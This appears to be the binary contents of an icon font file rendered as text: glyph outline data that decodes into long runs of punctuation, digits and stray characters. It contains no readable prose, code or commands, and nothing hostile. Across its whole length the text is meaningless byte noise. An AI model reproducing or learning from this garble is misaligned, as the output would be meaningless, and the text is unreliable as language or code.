Wh          #  #!"&5463!2!&'&!"&5!(8((88((`x
c`(8 `((88(@(8(D9 8(           ,  #!"&=46;46;2 .  6  $$ @(r^aa@@`(_^aa    2  N   C  5.+";26#!26'.#!"3!"547>3!";26/.#!2W.@@.$SS$@9I  I6>>         % =  $4&"2$4&"2#!"&5463!2?!2"'&763!463!2!2 &4&&4&&4&&48(@(88(ч::(8@6@* & & *4&&4&&4&&4& (88(@(8888)@)'&&@      $ 0  "'&76;46;232  >& $$ `
(r^aa`		@`2(^aa         $ 0  ++"&5#"&54762  >& $$ ^
?@(r^aa`?		(^aa         #  !.'!!!%#!"&547>3!2<<<_@`&&
5@5
@&&>=(""=       '   #"'&5476.  6  $$    ! (r^aaJ	%%(_^aa     3  #!"'&?&#"3267672#"$&6$3276 &@*hQQhwI
	mʬzzk)' @&('QнQh_
	
z8zoe      $ G   !"$'"&5463!23267676;2#!"&4?&#"+"&= !2762@hk4&&&GaF*&@&ɆF*Ak4&nf&&&4BHrd@&&4rdMoe&            / ? O _ o   +"&=46;25+"&=46;25+"&=46;2#!"&=463!25#!"&=463!25#!"&=463!24&#!"3!26#!"&5463!2@@@@@@@@@@^B@B^^BB^`@@@@@@@@@@@@3@MB^^B@B^^         !54&"#!"&546;54   32@ Ԗ@8(@(88( p (8 jj(88(@(88   @   7  +"&5&5462#".#"#"&5476763232>32@@@@KjKך=}\I&:k~&26]S& H&&H5KKut,4,	& x:;*4*&        K  #+"&546;227654$ >3546;2+"&="&/&546$ <X@@Gv"DװD"vG@@X<4L41!Sk @ G<_bb_<G  kS!1zz          "'!"&5463!62 &4&&M4&&M&&M&          -  "'!"&5463!62 #"&54>4.54632 &4&&M4&UF
&""""&
F&M&&M&%/B/%      G  - I k  "'!"&5463!62 #"&54>4.54632#"&54767>4&'&'&54632#"&547>7676'&'.'&54632 &4&&M4&UF
&""""&
FU&'8JSSJ8'&&'.${{$.'&&M&&M&%/B/%7;&'66'&;4[&$[2[$&[              # / 3 7  #5#5!#5!!!!!!!#5!#5!5##!35!!!                        # ' + / 3 7 ; ?  3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3????  ^>>~??????~??~??^??^^?  ^??          4&"2#"'.5463!2KjKKjv%'45%5&5L45&%jKKjK@5%%%%54L5&6'      k   5   4&"2#"'.5463!2#"&'654'.#32KjKKjv%'45%5&5L45&%%'4$.%%5&55&%jKKjK@5%%%%54L5&6'45%%%54'&55&6'  
y T d t  #!"&'&74676&7>7>76&7>7>76&7>7>76&7>7>63!2#!"3!2676'3!26?6&#!"3!26?6&#!"g(sAeM,*$/!'&JP$G]
x6,&`h`"9Hv@WkNC<.
&k&
("$p"	.#u&#	%!'	pJvwEF#@@        2#"'	#"'.546763!''!0#GG$/!''!	8""8 X!	8"	"8	          <  )!!#"&=! 4&"27+#!"&=#"&546;463!232(8&4&&48(@(8qO@8((`(@Oq 8(&4&&4&@`(88(Oq (8(`( q      ! )   2"&42#!"&546;7>3!2      Ijjjj3e5 5e3gr`Ijjjj1GG1r        P  2327&7>7;"&#"4?2>54.'%3"&#"#ժ!9&WB03&K5!)V?@L'	>R>e;&L::%P>vO
'h N_":-&+#
:	'	      + a  %3 4'.#"32>54.#"7>7><5'./6$3232#"&#"+JBx)EB_I:I*CRzb3:dtB2P$$5.3bZF|\8!-T>5Fu\,,jn OrB,<!
54wJ]?tTFi;23j.p^%/2+	S:T}K4W9: #ƕdfE     :  7>7676'5.'732>7"#"&#&#"OAzj=N!}:0e%	y+tD3~U#B4#g		'2
%/!:T	bRU,7        }  %2"/&6;#"&?62+326323!2>?23&'.'.#"&"$#"#&=>764=464.'&#"&'!~:~!PP!~:~!P6,,$$%*'c2N 	
($"LA23Yl!x!*%% %% pP,T	NE	Q7^oH!+(
3	 *Ueeuwg      a   32632$?23&'.5&'&#"&"5$#"#&=>7>4&54&54>.'&#"&'2#".465!#".'&47>32!4&4>Q6,,Fa w!*'
=~Pl*	
($"LA23Yl	)!*<7@@7< <7@@7<  pP,T	MFQ747ƢHoH!+(
3	 tJHQ6wh',686,'$##$',686,'$##$          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&& && & & && &&&&&&&&&f&&&&f&&&&f&&&&          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&& &&&&&&&&&&&&f&&&&f&&&&f&&&&          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&& && && && &&&&&&&&&f&&&&f&&&&f&&&&            / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&&&&&&&&&&&&&&f&&&&f&&&&f&&&&            / ? O _ o   %+"&=46;2+"&=46;2+"&=46;2#!"&=463!2+"&=46;2#!"&=463!2#!"&=463!2#!"&=463!2  @  @@@sssss          / ? O  #"'&47632#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2			 	@@@@	 		 	sss         / ? O   #"&54632	#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2`			 @@@@		@		sss           #"'#!"&5463!2632 'mw@www'*wwww          .   "&462!5	!"3!2654&#!"&5463!2pppp@  @^BB^^B@B^ppp@@  @ @B^^BB^^   k    %  !7'34#"3276'	!7632k[[v

6`%`$65&%[[k
`5%&&'          4&"2"&'&54    Ԗ!?H?!,,ԖԖ mF!&&!Fm,        %"  $$  ^aa`@^aa           -  4'.'&"26%   547>7>2 "KjK XQqYn	243nYqQ$!+!77!+!$5KK,ԑ	]""]ً	        9 > H  7'3 &7#!"&5463!2'&#!"3!26=4?6	!762xtt`   ^Qwww@?61B^^B@B^	@(` `\\\P`tt8`  ^Ͼww@w1^BB^^B~	@` \ \P          + Z  #!"&5463!12+"3!26=47676#"'&=# #"'.54>;547632www M8
pB^^B@B^'sw-

9*##;Noj'#ww@w"^BB^^B
	*"g`81T`PSA:'*4       / D  #!"&5463!2#"'&#!"3!26=4?632"'&4?62	62www@?61
B^^B@B^	@
BRnBBn^ww@w1
^BB^^B	@
BnnB          C   "&=!32"'&46;!"'&4762!#"&4762+!5462  4&& 4 &&4  4&& 4 &&4 4 &&4  4&& 4 &&4  4&&        6'&'+"&546;267:	&&&&	s@	
Z&&&&Z
	     +  6'&''&'+"&546;267667:	:	&&&&		s@	
:	
Z&&&&Z
	:
	  z   6'&''&47667S:	:	s@	
:4:
	    |   	&546h!!0a$           #!"&5463!2#!"&5463!2 & && && && &@&&&&&&&&          #!"&5463!2 &&&&@&&&&         &54646&5-	:	s:	
:4:
	        +  &5464646;2+"&5&5-		&&&&	:	s:	
:	
&&&&
	:
	         &54646;2+"&5-	&&&&	s:	
&&&&
	          62#!"&!"&5463!24@&&&&-:& && &        	"'&476244444     Zf   	"/&47	&4?62S44444       # /  54&#!4&+"!"3!;265!26  $$ & && && && &@^aa@& && && && &+^aa        54&#!"3!26  $$ & && &@^aa@&&&&+^aa       + 7  4/7654/&#"'&#"32?32?6  $$ }ZZZZ^aaZZZZ^aa      #  4/&"'&"327> $$ [4h4[j^aa"ZiZJ^aa      : F  %54&+";264.#"32767632;265467>$ $$  oW	5!"40K(0?i+! ":^aaXRdD4!&.uC$=1/J=^aa       . :  %54&+4&#!";#"3!2654&+";26 $$  ```^aa ^aa      / _  #"&=46;.'+"&=32+546;2>++"&=.'#"&=46;>7546;232m&&m l&&l m&&m l&&ls&%&&%&&%&&%& &&l m&&m l&&l m&&m ,&%&&%&&%&&%&        # / ;  "/"/&4?'&4?627626.  6  $$ I














͒(r^aaɒ














(_^aa           ,  	"'&4?6262.  6  $$ Z4f44fz(r^aaZ&4ff4(_^aa        	  "  4'32>&#"  $&6$  WoɒV󇥔 zzz8YW˼[?zz:zz   @5 K    #!#"'&547632!2 A4@%&&K%54'u%%&54&K&&4A5K$l$L%%%54'&&J&j&K    5K    #"/&47!"&=463!&4?632%u'43'K&&%@4AA4&&K&45&%@6%u%%K&j&%K55K&$l$K&&u#   5K@ !  #"'+"&5"/&547632K%K&56$K55K$l$K&&#76%%53'K&&%@4AA4&&K&45&%%u'     5K "  #"'&54?63246;2632K%u'45%u&&J'45%&L44L&%54'K%5%t%%$65&K%%4LL4@&%%K'      ,   "&5#"#"'.'547!3462  4&bqb>#5&4 4 & 6Uue7D#		"ǆ &        /   #!"&546262"/"/&47'&463!2
&@&&4L

r&4

r

L&&
4&&&L

rI@&

r

L4&&     s  /  "/"/&47'&463!2 #!"&546262 &4

r

L&&
&@&&4L

r@@&

r

L4&&
4&&&L

r         #  #!+"&5!"&=463!46;2!28(`8((8`(88(8((8(8 (8`(88(8((8(88(`8          #!"&=463!28(@(88((8 (88((88   z 5  '%+"&5&/&67-.?>46;2%6.@g.L44L.g@.
.@g.
L44L
.g@.g.n.4LL43.n.gg.n.34LL4͙.n.g        -     $54&+";264'&+";26/a^



^aafm
        @    J  %55!;263'&#"$4&#"32+#!"&5#"&5463!"&46327632#!2$$8~+(888(+}(`8((8`]]k==k]]8,8e8P88P8`(88(@MM        N   4&#"327>76$32 #"'.#"#"&'.54>54&'&54>7>7>32 &z&^&./+>+)>J>	Wm7'
'"''? &4&c&^|h_bml/J@L@#*#M6:D
35sҟw$	'%
'	\t          3  #!"&=463!2'.54>54''@ 1O``O1CZZ71O``O1BZZ7@@N]SHH[3`)TtbN]SHH[3^)Tt           ! 1  &'   547 $ 4&#"2654632    '&476   ==嘅}(zVl''ٌ@uhyyhu9(}VzD##D#     	  = C U  %7.547 4&#"2654632% #"'&547.'&476 !27632#76$7&'7+NWb=嘧}(zVj\i1
z,XY[6
$!%'FuJiys?_9ɍ?kyhun(}VzYF
KA؉La
02-F"@Qsp@_        ! 3  %54&+";264'&+";26#!"&'&7>2 

 #%;" ";%# <F<7
??""??$$     ll 2  #"'&'	+&/&'&?632	&'&?67>`,@L5`		
`	L`4LH``	a	5L@              # 3 7 ; ? O s  !!!!%!!!!%!!!!!!!!%!!4&+";26!!%!!!!74&+";26%#!"&546;546;2!546;232 `@ `@ @@  @@@ @  @@L44LL4^B@B^^B@B^4L  @@@@      @@  @@   M 4LL4 4L`B^^B``B^^B`L        7 q  .+"&=46;2 #"&=".'673!54632#"&=!"+"&=46;2>767>3!54632<M33K,		 j8Z4L2B4:;M33K, ?			 0N<* .)C=W]xD0N<* .)C=W]xD ?\-7H)		".=']-7H)
w		<?.>mBZxPV3!<?.>mBZxPV3!
         &   #"'&'5&6&>7>7&54>$32 dFK1A
0)L.٫C58.H(Ye      # 3 C   $=463!22>=463!2#!"&5463!2#!"&5463!2 H&&/<R.*.R</&& &&&& &&&&Bɀ&&4L&&L4&&f&&&&&&&&     Z     %"'	"/&4762444ͥ55     Z   	"'&4?62	6244455        % K  %#!".<=#"&54762+!2"'&546;!"/&5463!232 @&@<@&@	:&	& 
&&
&	
`&          :  $"&462"&462!2#!"&54>7#"&463!2!2LhLLhLhLLh!&& &&& &4hLLhLLhLLhL %z<
0&4&&)17&4&&&           #!"&5463!2!2\@\\@\\@\\\\         W  *  #!"&547>3!2!"4&5463!2!2W+B"5P+B@"5^=\@\ \H#t3G#3G:_Ht\\     @      +32"'&46;#"&4762&& 4 && 4 4& &4  4& &4       @     "&=!"'&4762!5462  4& &4  4& &4 4 && 4 &&              !!!3!!                    0 @  67&#".'&'#"'#"'32>54'6#!"&5463!2 8ADAE=\W{O[/5dIkDtpČe1?*w@www	(M&B{Wta28r=Ku?RZ^GwT	-@www       $  2+37#546375&#"#3!"&5463ww/Dz?swww@wS88	ww           # ' . >   4&#"26546326"&462!5! &  !5!!=!!%#!"&5463!2B^8(Ԗ  > @|K5 5KK5 5K^B(8ԖԖ>v 5KK5 5KK   H  G   4&"&#"2654'32#".'#"'#"&54$327.54632@pp)*Pppp)*Pb	'"+`N*(a;2̓c`." b
PTY9ppP*)pppP*) b ".`(*Nͣ2ͣ`+"'	b
MRZB               4&"24&"264&"26#"/+"&/&'#"'&547>7&/.=46?67&'&547>3267676;27632#"&'"'#"'&547&'&=4767&547>32626?2#"&'"'#"'&547&'&=4767&547>32626?2ԖLhLKjKLhLKjK	"8w
s%(")v

>
	"8x
s"+")v
<
3zLLz33>8L3)x33zLLz33>8L3)x3ԖԖ 4LL45KK54LL45KK
#)0C	wZl/

Y	
N,&
#)0C	vZl.

YL0"qG^^Gqq$ ]G)FqqG^^Gqq$ ]G)Fq         % O   #"'#"&'&4>7>7.546$ '&'&'# '32$7>54'VZ|$2$
|E~E<|
$2$|ZV:(t}X(	&%(Hw쉉xH(%&	(XZT\MKG        < m  $4&"24&#!4654&#+32;254'>4'654&'>7+"&'&#!"&5463!6767>763232 &4&&4N2`@`%)7&,$)'  %/0Ӄy#5 +1	&<$]`{t5KK5$e:1&+'3TF0h4&&4&3M:;b^v+D2 5#$IIJ 2E=\$YJ!$MCeM-+(K55KK5y*%Au]c         > q   4&"24&'>54'654&'654&+"+322654&5!267+#"'.'&'&'!"&5463!27>;2 &4&&4+ 5#bW0/%  ')$,&7)%`@``2Nh0##T3'"(0;e$5KK5 tip<&	1&4&&4& #\=E2&%IURI$#5 2D+v^b;:M2gc]vDEA%!bSV2MK55K(,,MeCM$!I     @   #"&547&547%6@?V8b%	I)         9  4.""'."	67"'.54632>32+C`\hxeH>Hexh\`C+ED4
#L</>oP$$Po>Q|I.3MCCM3.I|Q/Z$_dC+I@$$@I+           ( @  %#!"&5463!2#!"3!: "&5!"&5463!462ww@B^^B 
4&@&&&4 ` ww ^B@B^24& && &        % 5  73#7.";2634&#"35#347>32#!"&5463!2FtIG9;HIxI<,tԩw@wwwz4DD43EEueB&#1s@www      .  4&"26#!+"'!"&5463"&463!2#2&S3Ll&c4LL44LL4c@&&{ LhLLhL           ' ?  #!"&5463!2#!"3!26546;2"/"/&47'&463!2www@B^^B@B^@&4t

r

& &`ww@w@^BB^^B@R &t

r

4&&         @   "&5!"&5463!462	#!"&54&>3!2654&#!*.54&>3!24&@&&&4 sw@B^^B
@w4& && &3@w ^BB^       I  &5!%5!>732#!"&=4632654&'&'.=463!5463!2!2J  JSq*5&=CKuuKC=&5*q͍S8( ^B@B^ (8`N`Ѣ΀GtO6)"M36J[E@@E[J63M")6OtG(8`B^^B`8   	        ' , 2    6'&'&76'6'&6&'&6'&4#"7&64   654'.'&'.63226767.547&7662>76#!"&5463!2		/[		.
=XĚ4,+"*+, 1JH'5G::#L5+@=&# w@wwwP.1GE,ԧ44+	;/5cFO:>JJ>:O9W5$@(b4@www      ' ?  $4&"2$4&"2#!"&5463!3!267!2#!#!"&5!"'&762 &4&&4&&4&&48(@(88(c= =c(8* & & *6&4&&4&&4&&4& (88(@(88HH88`(@&&('@       1 c  4&'.54654'&#"#"&#"32632327>7#"&#"#"&54654&54>76763232632


	N<;+gC8A`1a99gw|98aIe$IVNz<:LQJ
,-[%	061I()W,$-7,oIX()oζA;=N0
eTZ	 (       O  #".'&'& '&'.54767>3232>32e^\4?P	bMO0#382W#& 9C9
Lĉ"	82<*9FF(W283#0OMb	P?4\^eFF9*<28	"L
9C9 &#           !"3!2654&#!"&5463!2`B^^B@B^^ީwww@w ^BB^^B@B^ww@w      #  !72#"'	#"'.546763 YY!''!0#GG$/!''! &UUjZ	8""8 X!	8"	"8	        G W  4.'.#"#".'.'.54>54.'.#" 32676#!"&5463!2  1.-
+$)c8)1)

05.D<90)$9 w@wwwW

)1)7c)$+
-.1 9$)0<D.59@www  ,  T  1  # '327.'327.=.547&54632676TC_LҬ#+i!+*pDNBN,y[`m`%i]hbEm}au&,SXK
&$f9s?
    _    #"!#!#!54632V<%' ЭHH	(ں       T \ d k s z       &54654'>54'6'&&"."&'./"?'& 546'&6'&6'&6'&6'&74"727&6/a49[aA)O%-j'&]]5r-%O)@a[9'
0BA;+

>HCU


	#	
	
$				2	AC: oM=a-6OUwW[q	( -	q[WwUP6$C

+) (	
8&/&eMa	
&$	        %  +"&54&"32#!"&5463!54   &@&Ԗ`(88(@(88(r && jj8((88(@(8        # ' +  2#!"&5463"!54&#265!375!35!B^^BB^^B` ^B@B^^BB^ `       ! =   "&462+"&'& '.=476;+"&'& $'.=476;pppp$!$qr%}#ߺppp!E$rqܢ#%ֻ!           ) ?   "&462"&4624&#!"3!26!.#!"#!"&547>3!2/B//B//B//B@2^B@B^\77\aB//B//B//B/@~B^^B@2^5BB52     . 4  2## %&'.67#"&=463! 2 5KK5L4_u:B&1/&.-
zB^^B4LvyKjK4L[!^k'!A3;):2*<vTq6^BB^L4$)*    @     A  4#"&54"3! 4."#!"&5!"&5>547&5462;U gIv0ZZ0L4@Ԗ@4L2RX='8P8'=XR U;Ig0,3lb??bl34LjjL4*\(88(\    } I  /#"/'&/'&?'&'&?'&76?'&7676767676`
(5)0
)*)
0)5(

(5)0
))))
0)5(
*)
0)5(
)5)0
)**)
0)5)

)5)0
)*      5 h  $4&"24&#!4>54&#"+323254'>4'654&'!267+#"'&#!"&5463!2>767>32!2 &4&&4N2$YGB(HGEG  HQ#5K4Li!<;5KK5 
A#("/?&}vh4&&4&3M95S+C=,@QQ9@@IJ 2E=L5i>9eME;K55K	J7R>@#zD<      5 = q  %3#".'&'&'&'.#"!"3!32>$4&"2#!"#"&?&547&'#"&5463!&546323!2`  #A<(H(GY$2NL4K5#aWTƾh&4&&4K5;=!ihv}&?/"(#A
 5K2*!	Q@.'!&=C+S59M34L=E2 JI UR@@&4&&4&5K;ELf9>ig<Dz#@>R7J	K          5 h  4&"24#"."&#"4&#"".#"!54>7#!"&54.'&'.5463246326326 &4&&4IJ 2E=L43M95S+C=,@QQ9@@E;K55K	J7R>@#zD<gi>9eMZ4&&4&<#5K4LN2$YGB(HGEG  HV;5KK5 
A#("/?&}vhi!<         4 < p  4.=!32>332653272673264&"2/#"'#"&5#"&54>767>5463!2@@2*!	Q@.'!&=C+S59M34L.9E2 JI UR&4&&4&Lf6Aig6Jy#@>R7J	K55K;E@TƾH  #A<(H(GY$2NL4K#5#a=4&&4&D=ihv}&?/"(#A
 5KK5;         +  54&#!764/&"2?64/!26  $$  &
[6[[j6[& ^aa@&4[[6[[6&+^aa        +   4/&"!"3!277$ $$ [6[
&&[6j[^aae6[j[6&&4[j[^aa      +   4''&"2?;2652?$ $$ [6[[6&&4[^aaf6j[[6[
&&[^aa      +   4/&"4&+"'&"2?  $$ [6&&4[j[6[j^aad6[&&
[6[[j ^aa             $2>767676&67>?&'4&'.'.'."#&6'&6&'3.'.&'&'&&'&6'&>567>#7>7636''&'&&'.'"6&'6'..'/"&'&76.'7>767&.'"76.7"7"#76'&'.'2#22676767765'4.6326&'.'&'"'>7>&&'.54>'>7>67&'&#674&7767>&/45'.67>76'27".#6'>776'>7647>?6#76'6&'676'&67.'&'6.'.#&'.&6'&.5/a^D&"	


	4	$!	#	
		
	


 
.0"Y
	+!	
	
$		"+


		
	Α	
		^aa
	

					

		
			P '-(	#	*	$
"!				*
!	
(				
	
$
		
2   ~   /  $4&"2	#"/&547#"  32>32&4&&4V%54'j&&'/덹:,{	&4&&4&V%%l$65&b'Cr!"k[G             + ;  %!5!!5!!5!#!"&5463!2#!"&5463!2#!"&5463!2    &&&&&&&&&&&&@ && && && && && &&   {    #"'&5&763!2{' * *)* )'             /  !5!#!"&5!3!26=#!5!463!5463!2!2  ^B@B^&@&`   ^B`8(@(8`B^   B^^B&&B^(88(^      G  	76#!"'&?	#!"&5476	#"'&5463!2	'&763!2#"'c)'&@**@&('c(&*cc*&'*@&('c'(&*cc*&('c'(&@*        1 9 A S [  #"&532327#!"&54>322>32 "&462  &6 +&'654'32>32"&462QgRp|Kx;CByy 6Fe=
BPPB
=eF6  ԖV>!pRgQBC;xK|Ԗ{QNa*+%xx5eud_C(+5++5+(C_due2ԖԖ>NQ{u%+*jԖԖ     p ! C i  4/&#"#".'32?64/&#"327.546326 #"/&547'#"/&4?632632(* 8(!)(A(')* 8(!USxySSXXVzxTTUSxySSXXVzxT@( (8 *(('((8 SSUSx{VXXTTSSUSx{VXXT        #!" 5467&54 32632t,Ԟ;F`j)6,>jK?  s  !  %#!"&7#"&463!2+!'5#8EjjE8@&& &&@XYY&4&&4&qDS%q%         N \ j x     2"&4#"'#"'&7>76326?'&'#"'.'&676326326&'&#"32>'&#"3254?''74&&4&lNnbSVZbRSD	zz	DSRb)+USbn\.2Q\dJ'.2Q\dJ.Q2.'Jd\Q2.'Jd`!O` 	`&4&&4r$#@B10M5TNT{L5T	II	T5L;l'OT4M01B@#$*3;$*3;;3*$;3*$:$/ @@Qq`@         " % 3 <  2#!"&5!"&5467>3!263!	!!#!!46!#!(88(@(8(8(`((8D<++<8(` (8(`8(@(88( 8((`(8((<`(8 (``(8    || ?  %#"'&54632#"'&#"32654'&#"#"'&54632|udqܟs]
=
OfjL?R@T?"&
>
f?rRX=Edudsq
=
_MjiL?T@R?E& f
>
=XRr?b      ! 1 E  )!34&'.##!"&5#3463!24&+";26#!"&5463!2  

08((88(@(88((88((`(1

`(88( (88( @`(88(@(8(`         #!"&5463!2 w@www`@www             /  %#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&&&&&&&&&&&&&&&&&&    @    ' 7 G  $"&462"&462#!"&=463!2 "&462#!"&=463!2#!"&=463!2ppppppp@ppp@@Рppppppppp         < L \ l |  #"'732654'>75"##5!!&54>54&#"'>3235#!"&=463!2!5346=#'73#!"&=463!2#!"&=463!2}mQjB919+i1$AjM_3</BB/.#U_:IdDRE@k*Gj@@TP\BX-@8
C)5XsJ@$3T4+,:;39SG2S.7<vcc))%Ll}         5 e  2#!"&=463%&'&5476!2/&'&#"!#"/&'&=4'&?5732767654'&@02uBo
T25XzrDCBBEh:%)0%HPIP{rQ9f#-+>;I@KM-/Q"@@@#-bZ$&P{<8[;:XICC>. '5oe80#.0(l0&%,"J&9%$<=DTI     c s  &/6323276727#"327676767654./&'&'737#"'&'&'&54'&54&#!"3!260%<4"VRt8<@<-#=XYhW8+0$"+dTLx-'I&JKkmuw<=V@!X@		v'|N;!/!$8:IObV;C#V
&(mL.A:9 !./KLwPM$@@  
       / ? O _ o     %54&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!26#!"&5463!2 @@ @ @ @ @ @ @@^BB^^B@B^NB^^B@B^^         # + 3  	'$"/&4762%/?/?/?/?%k*66bbbb|<<<bbbbbbbb%k66Ƒbbb<<<<^bbbbbb    @      M  $4&"2!#" 4&"2&#"&5!"&5#".54634&>?>;5463!2LhLLh		 LhLLhL!'ԖԖ@'!&	?& &LhLLhL 		hLLhL 	jjjj	&@6/"&&       J   #"'676732>54.#"7>76'&54632#"&7>54&#"&54$  ok;	-j=yhwi[+PM3ѩk=J%62>VcaaQ^ ]G"'9r~:`}Ch  0=Z٤W=#uY2BrUI1^Fk[|a      L  2#!67673254.#"67676'&54632#"&7>54&#"#"&5463ww+U	,i<F{jh}Z+OM
2ϧj<J%51=Ubwww@wzX"'8'TyI9`{Bf 
,>XբW<"uW1AqSH1bdww        ' 7  4'!3#"&46327&#"326%35#5##33#!"&5463!20U6cc\=hlࠥYmmnnnnw@wwww&46#Ȏ;edwnnnnn@www    	 ] # /  #"$&6$3 &#"32>7!5!%##5#5353Еttu{zz{SZC`cot*tq||.EXN#??           , <  !5##673#$".4>2"&5!#2!46#!"&5463!2 rM* *M~~M**M~~M*jjj& && &`P%挐|NN||NN|* jj jj@&&&&    @     "'&463!2 @4@&Z4@4&        @    #!"&4762 &&4Z4&&4@     @    "'&4762&4@4&@&4&      @    "&5462@@4&&44@&&@           3!!%!!26#!"&5463!2`m`^BB^^B@B^ `@B^^BB^^    @     "'&463!2#!"&4762 @4@&&&&44@4&Z4&&4@            "'&463!2 @4@&4@4&        @    #!"&4762 &&4Z4&&4@          :  #!"&5;2>76%6 +".'&$'.5463!2 ^B@B^,9j9Gv33vG9H9+bI\
A+=66=+A
[">nSMA_:B^^B1&c*/11/*{'VO3@/$$/@*?Nh^    l   +  !+"&5462!4&#"!/!#>32]_gTRdgdQV?UI*Gg?!2IbbIJaaiwE3300 08        4   #"$'&6?6332>4.#"#!"&54766$32 z䜬m
IwhQQhbF*@&('kz
	
_hQнQGB'(&*eoz  ( q  !#"'&547"'#"'&54>7632&4762.547>32#".'632%k'45%&+ ~((h		&

\((		&

~ +54'k%5%l%%l$65+ ~

&		((\

&		h((~ +%'         ! ) 1 9 K   4&"2 4&"26.676&$4&"2 4&"24&"2#!"'&46$ KjKKjKjKKje2.e<^P,bKjKKjKjKKjKjKKj##LlLKjKKjKjKKjK~-M<M(PM<rjKKjKjKKjKujKKjKL           <    6?32$6&#"'#"&'5&6&>7>7&54$ LhяW.{+9E=cQdFK1A
0)pJ2`[Q?l&٫C58.H(Y'        : d    6?32$64&$ #"'#"&'&4>7>7.546'&'&'# '32$7>54'Yj`a#",5NK
~EVZ|$2$
|:
$2$|ZV:(t}hfR88T
h̲X(	&%(Hw(%&	(XZT\MKG{x   | !  #"'.7#"'&7>3!2%632u
jH{(e9
1b      U  #!"&546;5!32#!"&546;5!32#!"&546;5463!5#"&5463!2+!232 8((88(` `(88((88(` `(88((88(`L4 `(88(@(88(` 4L`(8 (88(@(88((88(@(88((88(@(84L8(@(88((8L48      O Y  "&546226562#"'.#"#"'.'."#"'.'.#"#"&5476 $32&"5462И&4&NdN!>!1X:Dx++ww++xD:X1- U! *,*&4&hh&&2NN2D&
..J<
$$
<JJ<
$$
<J..
Pbb&&          7  !!"&5!54&#!"3!26!	#!"&=!"&5463!2 `(8 @ + 8(@(8(88(@(8(8( @@m+U`(88(8(@(88(h`         ( \  "&54&#"&46324."367>767#"&'"&547&547&547.'&54>2l42cKEooED
)

)
Dg-;</-?.P^P.?-/<;-gYY.2 L4H|O--O|HeO,,Oeq1Ls26%%4.2,44,2.4%%62sL1qcqAAq      4  #!#"'&547632!2#"&=!"&=463!54632 		@	`		`?`
@		@	!		
          5  4&+4&+"#"276#!" 5467&54 32632 	`		_
v,Ԝ;G_j)``			_ԟ7,>jL>       5  4'&";;265326#!" 5467&54 32632 			
v,Ԝ;G_j)	`		`7,>jL>        X `  $"&462#!"&54>72654&'547 7"2654'54622654'54&'46.'  &6 &4&&4&yy%:hD:FppG9Fj 8P8 LhL 8P8 E;
Dh:%>4&&4&}yyD~s[4Dd=PppP=d>hh>@jY*(88(*Y4LL4Y*(88(*YDw"
A4*[s~>       M   4&"27 $=.54632>32#"' 65#"&4632632 65.5462 &4&&4G9&
<#5KK5!!5KK5#<
&ܤ9Gpp&4&&4&@>buោؐ &$KjKnjjKjK$& jjb>Ppp        %  !5!#"&5463!!35463!2+32  @\\ 8(@(8 \@@\ \@\  (88(\   @    3  4#"&54"3#!"&5!"&5>547&5462;U gI@L4@Ԗ@4L2RX='8P8'=XR U;Ig04LjjL4*\(88(\    @    "   4&+32!#!"& +#!"&5463!2pP@@P j j@@\@\&0pj	 \\&       - B  +"&5.5462265462265462+"&5#"&5463!2G9L44L9G&4&&4&&4&&4&&4& L44L &=d4LL4d=&&`&&&&`&&&&4LL4  &         # 3 C S  #!"&5463!2!&'&!"&5!463!2#!"&52#!"&=4632#!"&=463(8((88((`x
c`(8  @@@`((88(@(8(D9 8( `@@@ @@        / ? O _ o         -=  %+"&=46;25+"&=46;2+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2+"&=46;2!!!5463!2#!"&5463!2@@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @ & && &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  `&&&&        / ? O _ o        %+"&=46;25+"&=46;2+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2+"&=46;2!!#!"&=!!5463!24&+"#54&+";26=3;26%#!"&5463!463!2!2@@@@ @@ @@ @@ @@ @@ @@ @@ @@  8(@(8 @@@@@ & &&@8((8@&@@@@@@@@@@@@@@@@@@@@ (88( @````- && & (88(&  @    < c  $4&"2!# 4&"254&+54&+"#";;26=326+"&5!"&5#"&46346?>;463!2KjKKj KjKKj &ԖԖ&&@&&KjKKjK 
jKKjK .&jjjj&4&@@&&      # ' 1 ? I  54&+54&+"#";;26=326!5!#"&5463!!35463!2+32    \\8(@(8 \  \ \@\  (88(\          :  #32+53##'53535'575#5#5733#5;2+3@E&&`@@`    `@@`&&E%@`@ @ @		      		@ 0
    @      !3!57#"&5'7!7! K5@   @ 5K@@@      # 3  %4&+"!4&+";265!;26#!"&5463!2 && &&&& && w@www&&@&&&&@&&@www        # 3  54&#!4&+"!"3!;265!26#!"&5463!2 &&&&&@&&@& w@www@&@&&&&&&@&:@www    - M3  )  $"'&4762	"'&4762	s
2

.



2

w
2

.



2

w
2





2

ww

2





2

ww     M3  )   "/&47	&4?62"/&47	&4?62S
.

2

w

2


.

2

w

2

M
.

2



2

.

.

2



2

.   M 3S  )  $"'	"/&4762"'	"/&47623
2

ww

2





2

ww

2




2

w

2



.v
2

w

2



.    M 3s  )   "'&4?62	62"'&4?62	623
.

.

2



2

.

.

2



2
.



2

w

2v
.



2

w

2   - Ms3    	"'&4762s
w

2

.



2
ww

2





2     MS3    "/&47	&4?62S
.

2

w

2

M
.

2



2

.    M3S    "'	"/&47623
2

ww

2



m
2

w

2



.    M-3s    "'&4?62	623
.

.

2



2-
.



2

w

